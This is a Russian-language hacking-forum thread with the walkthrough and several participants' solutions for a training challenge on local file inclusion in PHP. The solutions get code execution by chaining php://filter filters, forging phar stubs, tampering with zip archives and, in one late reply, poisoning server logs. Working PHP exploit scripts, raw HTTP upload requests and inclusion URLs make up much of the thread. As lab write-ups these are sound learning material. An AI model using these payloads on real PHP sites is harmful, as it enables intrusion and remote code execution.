
01.06.2019, 13:35
|
|
Участник форума
Регистрация: 30.12.2016
Сообщений: 218
С нами:
4931606
Репутация:
138
|
|
Прохождение.
Первый способ - враппер php://.
Заходим login: password = 1:1 и смотрим,
есть инклюд файла, в который можем писать произвольную информацию.
Нужно обойти одно ограничение (стоппер die() в начале файла) и соблюсти одно условие (в параметр page должны подстрокой войти "login.php" или "view.php").
Если последовать подсказке о статье в "Хакере" и набрать в поиске "хакер врапперы", то в топе видим две статьи, обе полезные, а в https://xakep.ru/2012/11/22/php-filter-wrapper-attacks/ прямо конкретное решение расписано.
Смысл такой, нужно фильтром испортить код стоппера, или вырезать его совсем, а полезную начинку декодировать в валидный код для инклюда.
Например:
Энкодим base64_encode('');
и полученную строку
Код:
PD9waHAgcGhwaW5mbygpOz8+
отсылаем прям через форму отправки исследуемых скриптов.
При вызове используем два фильтра, strip_tags вырежет стоппер, а base64-decode восстановит код нашей начинки.
"login.php" или "view.php" можно добавить в запрос одним из следующих способов:
Код:
index.php?page=php://filter/login.php/read=string.strip_tags|convert.base64-decode/resource=db/info.php
index.php?page=php://filter/read=login.php/string.strip_tags|convert.base64-decode/resource=db/info.php
index.php?page=php://filter/read=login.php|string.strip_tags|convert.base64-decode/resource=db/info.php
Без strip_tags код тоже выполнится, просто будет мусор от испорченного стоппера.
Аналогичные преобразования можно делать с фильтрами quoted-printable или rot13.
Второй способ основан на использовании архивов phar.
Доступ к файлам в архиве через враппер phar://, осуществляется без необходимости распаковки.
Юзаем следующую особенность, если обращаться к архиву через вызов phar://script_name.php/path_to_file, то stub (это некоторый php код в начале архива, нужный для инициализации класса работы с архивом phar) не вызывется и мы можем поместить туда наш стоппер.
Он станет частью архива, но при вызове не будет интерпретироваться.
Содержимое архива воспринимается, как продолжение файловой системы, сформируем файл login.php с нужной нам начинкой, .
Единственное препятствие, архив защищен от модификации напрямую - контролем целостности, поэтому если его просто подать на вход view.php, в начало архива допишется "\n" и получим ошибку " SHA1 signature could not be verified:".
Обходим просто, готовим архив с добавлением этой вставки в начало, а перед отправкой отрежем ее. Скрипт view.php ее снова добавит и архив восстановит свою целостность.
Код:
Вызываем
http://task.antichat.com:10007/index.php?page=phar://db/info.php/view.php
Код:
';
$stopper="\n";
$local_path_to_archive="/tmp/in.phar";
$url_to_exploit="http://task.antichat.com:10007/index.php?page=view.php";
$url_to_get_result="http://task.antichat.com:10007/index.php?page=phar://db/info.php/view.php";
@unlink($local_path_to_archive);
$p = new Phar($local_path_to_archive);
$p->setStub($stopper."");
$p['view.php'] = $evil_code;
$a=implode(array_slice(file($local_path_to_archive), 1));
if( $curl = curl_init() ) {
curl_setopt($curl, CURLOPT_URL, $url_to_exploit);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, array(
'data' => $a,
'Save' => 'Save'
));
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$out = curl_exec($curl);
curl_close($curl);
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url_to_get_result);
curl_setopt($curl, CURLOPT_HEADER, false);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$out = curl_exec($curl);
echo $out;
curl_close($curl);
} else echo "Curl not installed";
Третий способ - архив zip.
В зипе нет никакого стаба, поэтому исследуем и ищем другой способ вставить стоппер.
Тестим и приходим к выводу,
Архивы zip могут быть приготовлены разными способами и содержать разную начинку, не теряя функциональности.
В имени файла можно использовать и проблемные символы, в т.ч. и слеш.
Стоппер можно сформировать в одном месте архива, а потом перенести в другое, при этом целостность архива проверяется по размеру, а не по содержимому.
Код:
$p,
'Save' => 'Save'
));
curl_setopt($curl, CURLOPT_HEADER, false);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$out = curl_exec($curl);
curl_close($curl);
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url_to_get_result);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$out = curl_exec($curl);
echo $out;
curl_close($curl);
} else echo "Curl not installed";
function getshell(){
$evil_code='';
$header="\n";
$local_path_to_archive="/tmp/test.zip";
$inc_file="/tmp/test.php";
@unlink($local_path_to_archive);
file_put_contents($inc_file,$evil_code);
$zip = new ZipArchive();
if ($zip->open($local_path_to_archive, ZIPARCHIVE::CREATE)!==TRUE) {
exit("could not open file $local_path_to_archive\n");
}
$zip->addFromString($header,"");
$zip->addFile($inc_file,"/tmp/view.php");
$zip->close();
@unlink($inc_file);
$r=preg_replace("/\n/si", "", file_get_contents($local_path_to_archive),1);
return $r;
}
Читерский способ, готовим архив phar с нужной вставкой и конвертируем его в zip
Код:
$zip = $p->convertToData(Phar::ZIP);
.SpoilerTarget" type="button">Spoiler: Прохождения участников:
Сообщение от =HALK=
↑
1. Генерируем пейлод
Код:
\n";
@unlink("t.phar");
$phar = new Phar("t.phar");
$phar->startBuffering();
$phar->addFromString("login.php","");
$phar->setStub($stopper."__HALT_COMPILER(); ?>");
$phar->stopBuffering();
echo urlencode(file_get_contents("t.phar",FALSE, NULL, strlen($stopper)));
2. Загружаем его на сервер
Код:
POST /index.php?page=view.php HTTP/1.1
Host: task.antichat.com:10007
Content-Type: application/x-www-form-urlencoded
Content-Length: 304
data=__HALT_COMPILER%28%29%3B+%3F%3E%0D%0A7%00%00%00%01%00%00%00%11%00%00%00%01%00%00%00%00%00%00%00%00%00%09%00%00%00login.php%11%00%00%00%85%A9%E4%5C%11%00%00%00%05d%1C%D7%B6%01%00%00%00%00%00%00%3C%3Fphp+phpinfo%28%29%3F%3E%12%1E%F8c%A2O%C3%5C%FF%2A%13%C4%F9%89%E5%8Dz%0Er%23%02%00%00%00GBMB&Save=Save
3. Инклюдим код
http://task.antichat.com:10007/index....php/login.php
Сообщение от =HALK=
↑
1. Тупо руками создал zip архив и в редакторе его подправил
(писать скрипт для генерации сейчас нет времени)
2. Загружаем данные на сервер
Код:
POST /index.php?page=view.php HTTP/1.1
Host: task.antichat.com:10007
Content-Type: application/x-www-form-urlencoded
Content-Length: 707
data=nfo.php%3C%3Fphp+die%28%27Access+denied%27%29%3B+%3F%3E%0A1PK%03%04%0A%00%00%00%00%00%CE%28%B6N%05d%1C%D7%11%00%00%00%11%00%00%00%09%00%00%00login.php%3C%3Fphp+phpinfo%28%29%3F%3EPK%01%02%3F%00%0A%00%00%00%00%00%13%28%B6Np4hE+%00%00%00+%00%00%00%08%00%24%00%00%00%00%00%00%00+%00%00%00%00%00%00%00info.php%0A%00+%00%00%00%00%00%01%00%18%00R%EE%93%25B%10%D5%01%80%84%F1%CBi%0C%D5%01%DF%A4Iyj%0C%D5%01PK%01%02%3F%00%0A%00%00%00%00%00%CE%28%B6N%05d%1C%D7%11%00%00%00%11%00%00%00%09%00%24%00%00%00%00%00%00%00+%00%00%00F%00%00%00login.php%0A%00+%00%00%00%00%00%01%00%18%00%CA%98%0A%F7B%10%D5%01%00u%CD%E2B%10%D5%01%00u%CD%E2B%10%D5%01PK%05%06%00%00%00%00%02%00%02%00%B5%00%00%00%7E%00%00%00%00%00&Save=Save
3. Инклюдим код
http://task.antichat.com:10007/index...hp%23login.php
Сообщение от Gorbachev
↑
Пошагово:
1) сначала создаем валидный рабочий архив:
Код:
$p = new Phar('in.phar');
$stub = "\n";
$p->setStub($stub);
$p['login.php'] = '';
На выходе получаем рабочий архив.
2) из готового архива удаляем лишнее, для загрузки его на файл view.php
Код:
$filea = file_get_contents('in.phar');
$file = str_replace("\n",'',$filea);
3) грузим его на файл view.php
Код:
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"http://task.antichat.com:10007/view.php");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"Save=1&data=".urlencode($file));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$server_output = curl_exec($ch);
curl_close ($ch);
4) пробуем выполнить:
http://task.antichat.com:10007/index....php/login.php
Сообщение от Gorbachev
↑
Пока не могу врубиться почему по адресу:
http://task.antichat.com:10007/index....php/login.php
он не выполняется.
У меня на локалке отрабатывает. Пошагово:
1) сначала создаем валидный рабочий архив:
Код:
$p = new Phar('in.phar');
$stub = "\n";
$p->setStub($stub);
$p['login.php'] = '';
На выходе получаем рабочий архив.
2) из готового архива удаляем лишнее, для загрузки его на файл view.php
Код:
$filea = file_get_contents('in.phar');
$file = str_replace("\n",'',$filea);
3) грузим его на файл view.php
Код:
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"http://task.antichat.com:10007/view.php");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"Save=1&data=".urlencode($file));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$server_output = curl_exec($ch);
curl_close ($ch);
4) пробуем выполнить:
http://task.antichat.com:10007/index....php/login.php
и ничего не выполняется...
Но при этом выполняется на локалхосте, если делаю пошагово тоже самое.
Чутка позже буду разбираться что там не так.
Сообщение от Gorbachev
↑
Зарешал zip. Но я так понял, я читерский вариант нашёл.
Пошагово:
Создаем ZIP архив с нужным содержимым, и модифицируем его под наши реалии:
Код:
$zipa = dirname($_SERVER['SCRIPT_FILENAME']).'/zip.zip';
$zip = new ZipArchive;
if ($zip->open($zipa,1)){
$zip->addFromString( '/test/view.php','' );
}
$zip->close();
$fds = file_get_contents($zipa);
$fd = fopen($zipa, "w+");
$text = "\n".$fds;
fwrite($fd, $text);
fclose($fd);
Далее, в линуксовой консоли делаем восстановление полученного архива командой:
zip -F zip.zip --out newzip.zip
После чего скриптом его модифицируем, и отправляем куда надо:
Код:
$filea = file_get_contents('newzip.zip');
$file = str_replace("\n",'',$filea);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"http://task.antichat.com:10007/view.php");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"Save=1&data=".urlencode($file));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$server_output = curl_exec($ch);
curl_close ($ch);
Ну а далее, через тот же курл ссылаемся:
http://task.antichat.com:10007/index.php?page=zip:///var/www/html/db/info.php#/test/view.php
Видим phpinfo();
Сообщение от Раrаdох
↑
Добрый день.
Присылаю вам решение (способ
№1
) Task #7 (
/threads/470693/
):
1. Переходим по адресу:
Код:
/index.php?page=view.php
2. Вставляем в textarea:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]3C[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]3Fphp phpinfo[/COLOR][COLOR="#007700"]();[/COLOR][/COLOR]
И жмем "Save".
3. Переходим по адресу:
Код:
/index.php?page=php://filter/read=string.strip_tags|convert.quoted-printable-decode|login.php/resource=db/info.php
4. Наблюдаем выполненное задание:

// Что произошло? Ровно следующее:
В п.2 записали в файл php код в quoted-printable формате (перед этим туда система записывает константную строку с die (
view.php:5
), затем сделали include данного файла с помощью php wrapper, где с помощью фильтра удалили php код с die, и впоследствии в пайплайне декодировали quoted-printable с нужным нам кодом.
Удачного дня!
Сообщение от Раrаdох
↑
Добрый вечер
Присылаю решение Task #7 способом №2 (через
phar
wrapper).
Схема такова
: мы помним, что можем писать в файл
./db/info.php
(с помощью отправки POST данных на скрипт
./view.php
), но также не забываем и о том, что оный скрипт конкатенирует
слева
наши данные со следующими:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR]\n[/COLOR]
Благо, что
phar
архивы так устроены, что в шапку искомого можно положить некоторую полезную информацию, лишь бы потом хеш-сумма файла была верной. Тогда оптимальным решением будет положить туда эти самые строки (которые дописывает скрипт), создать архив, выдернуть их оттуда с помощью любого hex-редактора, и отправить на сервер. Дальше дело техники - открыть архив с нужным файлом и выполнить задание.
Итак, шаги следующие: - Создаем phar архив с помощью интерпретатора PHP:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]startBuffering[/COLOR][COLOR="#007700"](); [/COLOR][COLOR="#FF8000"]// Создаем файл view.php, чтобы затем обойти проверки скрипта на содержание такого текста в GET переменной `page`. [/COLOR][COLOR="#0000BB"]$phar[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addFromString[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'view.php'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$phar[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]setStub[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]); class[/COLOR][COLOR="#0000BB"]AnyClass[/COLOR][COLOR="#007700"]{} [/COLOR][COLOR="#0000BB"]$object[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]AnyClass[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$phar[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]setMetadata[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$object[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$phar[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]stopBuffering[/COLOR][COLOR="#007700"](); [/COLOR][COLOR="#0000BB"]?> [/COLOR][/COLOR]
- Открываем его с помощью hex-редактора и удаляем строки, которые вставит скрипт при загрузке файла. Получится примерно такая история:
- Загружаем это на сайт с помощью скрипта ./view.php аналогично способу №1 для задачи (с той лишь разницей, что грузим бинарные данные, так что будем отсылать POST запрос вручную с предварительно обработанным через urlencode() урезанным архивом).
- Переходим по адресу:
Код:
/index.php?page=phar://db/info.php/view.php
И видим нужный нам результат:

На этом задача завершена.
Сообщение от Раrаdох
↑
Доброе утро
Отменяю свою просьбу выше, т.к. успел.
Присылаю решение 3-го способа решения таска.
Сразу оговорюсь, что методику приготовления архива я выяснил исключительно экспериментально возясь с архивами и почитывая спецификацию, так что я не уверен что она будет совпадать с вашей.
Итак: - Создаем на локальной машине файл view.php (такое название обязательно дабы впоследствии обойти защиту на присутствии этого текста в запросе), туда пихаем php-скрипт:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
- Там же создаем файл с любым названием и любым содержанием (делать файл большого размера нет большого смысла). Например, abc.txt с содержанием:
- Архивируем это в zip-архив без сжатия, притом (!) выбирая сначала файл view.php, а уже потом второй (это потому что в архив они попадают в обратном порядке, и нам надо чтобы полезная нагрузка оказалась снизу (если потом открыть архив через hex-редактор). Если делаете архив с помощью кода, то на этот момент можно не обращать внимания).
- Открываем полученный архив в любом hex-редакторе, и дублируем всё содержимое файла в самого себя (чтобы из "ABC" получилось "ABCABC").
- Ищем в самом конце файла сигнатуру (всегда будет такая по спецификации) архива 50 4B, выглядит так:
- И без зазрения совести портим первый байт, можем заменить на 00или на что угодно, кроме исходного варианта.
- Теперь можем смело заменять хедер архива чем угодно по меньшей мере мере вплоть до очередной сигнатуры 50 4B(можно и дальше если сильно надо будет), т.е. эту часть:

В нашем случае должно получиться примерно так (0A это \n):

- Сохраняем и проверяем что архив нормально открывается (желательно прямо средствами соотв. php-wrapper'а).
- Теперь, как и в "способе №2", удаляем строки, которые вставит скрипт при загрузке файла из архива, и загружаем на сайт (опять же аналогично второму способу).
- Задача решена:

// Стоит отметить, что не обязательно руками через hex-редактор делать все операции, можно автоматизировать в общем виде с помощью самописного скрипта, но в рамках данной задачи без надобности.
Сообщение от Раrаdох
↑
Ещё добавлю, что метод работает благодаря особенностям
помехоустойчивого кодирования
zip-архивов, и что файл-пустышка (напр.: abc.txt) будет испорчен для открывания.
Сообщение от giloo
↑
Второй способ найден!
Для этого сначала нужно создать phar архив из директории в которой есть допустим view.php с нашим шеллом вот так:
Код:
setStub('\n');*/
$archive->setStub("\n".'\n');
$archive->buildFromDirectory($folder_to_compress,'');
?>
Обязательно в стаб нужно добавить тот код который присутствует в db/info.php что-бы не было инклуд не ругался на верификацию SHA1.
Из полученного архива убираем "\n" хекс редактором и весь бинарный результат кодируем в url.
Нагрузку шлем в такск, бежим по адресу
http://task.antichat.com:10007/index...o.php/view.php
и радуемся)))
Надеюсь ничего не пропустила)
Сообщение от topthing
↑
Код:
=3C=3Fphp phpinfo();
Код:
http://task.antichat.com:10007/index.php?page=php://filter/read=string.strip_tags|convert.quoted-printable-decode/login.php/resource=db/info.php
Сообщение от topthing
↑
Код:
//PD9waHAgcGhwaW5mbygpOw
Код:
http://task.antichat.com:10007/index.php?page=php://filter/read=convert.base64-decode/login.php/resource=db/info.php
Сообщение от topthing
↑
Через PHAR
Скрипт
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'http://task.antichat.com:10007/index.php?page=view.php'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$tmpFile[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'/tmp/app.phar'[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$pharPayload[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'\n"[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$postData[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$phar[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Phar[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmpFile[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$phar[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]startBuffering[/COLOR][COLOR="#007700"](); [/COLOR][COLOR="#0000BB"]$phar[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]setStub[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$stopper[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$postData[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$phar[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login.php'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$pharPayload[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$phar[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]stopBuffering[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"]$pharBin[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmpFile[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]unlink[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmpFile[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$boundary[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'--------------------------'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]microtime[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$context[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]stream_context_create[/COLOR][COLOR="#007700"]([ [/COLOR][COLOR="#DD0000"]'http'[/COLOR][COLOR="#007700"]=> [ [/COLOR][COLOR="#DD0000"]'method'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'POST'[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]'header'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'Content-Type: multipart/form-data; boundary='[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$boundary[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]'content'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]"--"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$boundary[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"Content-Disposition: form-data; name=\"data\"\r\n\r\n"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$pharBin[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$stopper[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"]. [/COLOR][COLOR="#DD0000"]"--"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$boundary[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"Content-Disposition: form-data; name=\"Save\"\r\n\r\nSave\r\n"[/COLOR][COLOR="#007700"], ], ]);
echo[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$context[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR]
Запуск
php -d phar.readonly=off test.php
Шел тут:
Код:
http://task.antichat.com:10007/index.php?page=phar://db/info.php/login.php
Сообщение от nix_security
↑
Привет! Есть 1й способ)
Через прямой доступ к скрипту view.php мы можем записывать данные в обход авторизации. Запишем следующее:
Таким образом, файл db/info.php примет вид:
Для вызова php-кода воспользуемся враппером php://. Payload примет вид:
Код:
GET /index.php?page=php://filter/read=string.strip_tags|convert.quoted-printable-decode|login.php/resource=db/info.php
Через разделитель "| " можно указывать произвольное количестов фильтров. Фильтр strip_tags мы используем, чтобы удалить существующие php теги стоппера. Фильтр quoted-printable-decode - декодирует наш пэйлод (кодировали в quoted-printable чтобы защитить его от strip_tags). И наконец, login.php - несуществующий фильтр, который мы используем для байпаса проверки.
PS Спасбо за таск. Буду думать над вторым и третьим способами решения.
Сообщение от BenderMR
↑
Привет. Вот первый метод:
1) php://
В начале идем на
Код:
http://task.antichat.com:10007/index.php?page=view.php
и делаем пост с такой строкой
Код:
=3C=3Fphp phpinfo();
потом вызываем db/info.php с такими фильтрами:
Код:
http://task.antichat.com:10007/index.php?page=php://filter/read=string.strip_tags|convert.quoted-printable-decode|login.php/resource=db/info.php
Как результат получаем phpinfo()
Сообщение от manfromkz
↑
Привет
Пока нашел самый легкий способ, остальные видимо надо глубже копать. Пишем в info.php
Далее вызываем
Код:
http://task.antichat.com:10007/index.php?page=php://filter/string.rot13/view.php/resource=db/info.php
По факту - справились с заданием, это очень хорошо.
Трое прошли полностью.
=HALK= прошел без подсказок и, скорее всего, без особого напряга.
Gorbachev хорош тем, что справляется с заданиями, планка которых чуть выше его привычных дел. Почитал, потестил, сделал - мое уважение.
Раrаdох удивил подробным райтапом, не знаю где он работает, видимо часто приходится делать отчеты. Единственно, не согласен с "метод работает благодаря особенностям помехоустойчивого кодирования zip-архивов". Там даже crc нет, контролируется только размер.
Вообще, все молодцы!
Даже те, кто не прислал решение, потыкали, поюзали поиск, посмотрели решения - все равно польза.
И да, тема не уместилась в одно задание, будет продолжение, на более свежем примере.
|
|
|

01.06.2019, 13:45
|
|
Познавший АНТИЧАТ
Регистрация: 09.05.2015
Сообщений: 1,066
С нами:
5797046
Репутация:
40
|
|
Paradox iz yandex
|
|
|

02.06.2019, 03:13
|
|
Познающий
Регистрация: 30.01.2014
Сообщений: 87
С нами:
6465206
Репутация:
33
|
|
Рад что на этот раз было время поучаствовать в таске. Всё понравилось, особенно с zip. Спасибо ребятам кто готовил задание
|
|
|

02.06.2019, 12:16
|
|
Новичок
Регистрация: 23.12.2018
Сообщений: 15
С нами:
3890486
Репутация:
6
|
|
С zip действителньо интересно. Хороший таск.
|
|
|

03.06.2019, 04:02
|
|
Познавший АНТИЧАТ
Регистрация: 09.05.2015
Сообщений: 1,066
С нами:
5797046
Репутация:
40
|
|
Сообщение от quite gray
quite gray said:
↑
Не вижу в списках решивших на отлично Task 7 ника BabaDook. Почему?
не заслужил. Если честно, то даже не смотрел таск, что-то руки не дошли. Да и вряд ли все 3 метода сделал бы. С зипом- Это первое что пришло в голову.На рутми вроде был похожий таск.
п.с. даже если бы решил, то я прошу не разглашать это.
|
|
|

05.06.2019, 12:17
|
|
Новичок
Регистрация: 30.10.2008
Сообщений: 12
С нами:
9226092
Репутация:
17
|
|
хороший тамада и конкурсы интересные
|
|
|

08.06.2019, 20:28
|
|
Постоянный
Регистрация: 18.03.2016
Сообщений: 663
С нами:
5344886
Репутация:
441
|
|
+ варианты сферических коней
Код:
allow_url_include = On
http://task7/index.php?page=data:text/html;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==login.php
Код:
curl 'http://task7/?'
http://task7/?page=php://filter/login.php/resource=/var/logs/nginx/task7.access.log
|
|
|

08.06.2019, 23:28
|
|
Участник форума
Регистрация: 23.03.2017
Сообщений: 265
С нами:
4812086
Репутация:
119
|
|
Сообщение от crlf
↑
+ варианты сферических коней
Код:
curl 'http://task7/?'
http://task7/?page=php://filter/login.php/resource=/var/logs/nginx/task7.access.log
Вообще по красоте исполнил.
А враппер compress.zlib:// кто нибудь интересно осилил?
У меня бензобак уже на первом враппере закончился, так как ковырял варианты без врапперов.
С phar по моим ощущениям было полегче, чем с php, ну а ZIP это не мой уровень, я до объявления результатов так и не понял, в чем фишка, вывозил уже на морально-волевых, на характере зарешал.
|
|
|

09.06.2019, 08:58
|
|
Участник форума
Регистрация: 30.12.2016
Сообщений: 218
С нами:
4931606
Репутация:
138
|
|
Сообщение от Gorbachev
↑
ну а ZIP это не мой уровень, я до объявления результатов так и не понял, в чем фишка, вывозил уже на морально-волевых, на характере зарешал.
Тем не менее, использовать штатную возможность восстановления поврежденных архивов - хорошая находка, достаточно технологично.
Не нужно навыков программирования, руки-то вот они, запаковал нужные файлы, грубо добавил в начало текст стоппера и указал архиватору ключ починить архив - фсё, имеем валидный zip-архив с нужным префиксом.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|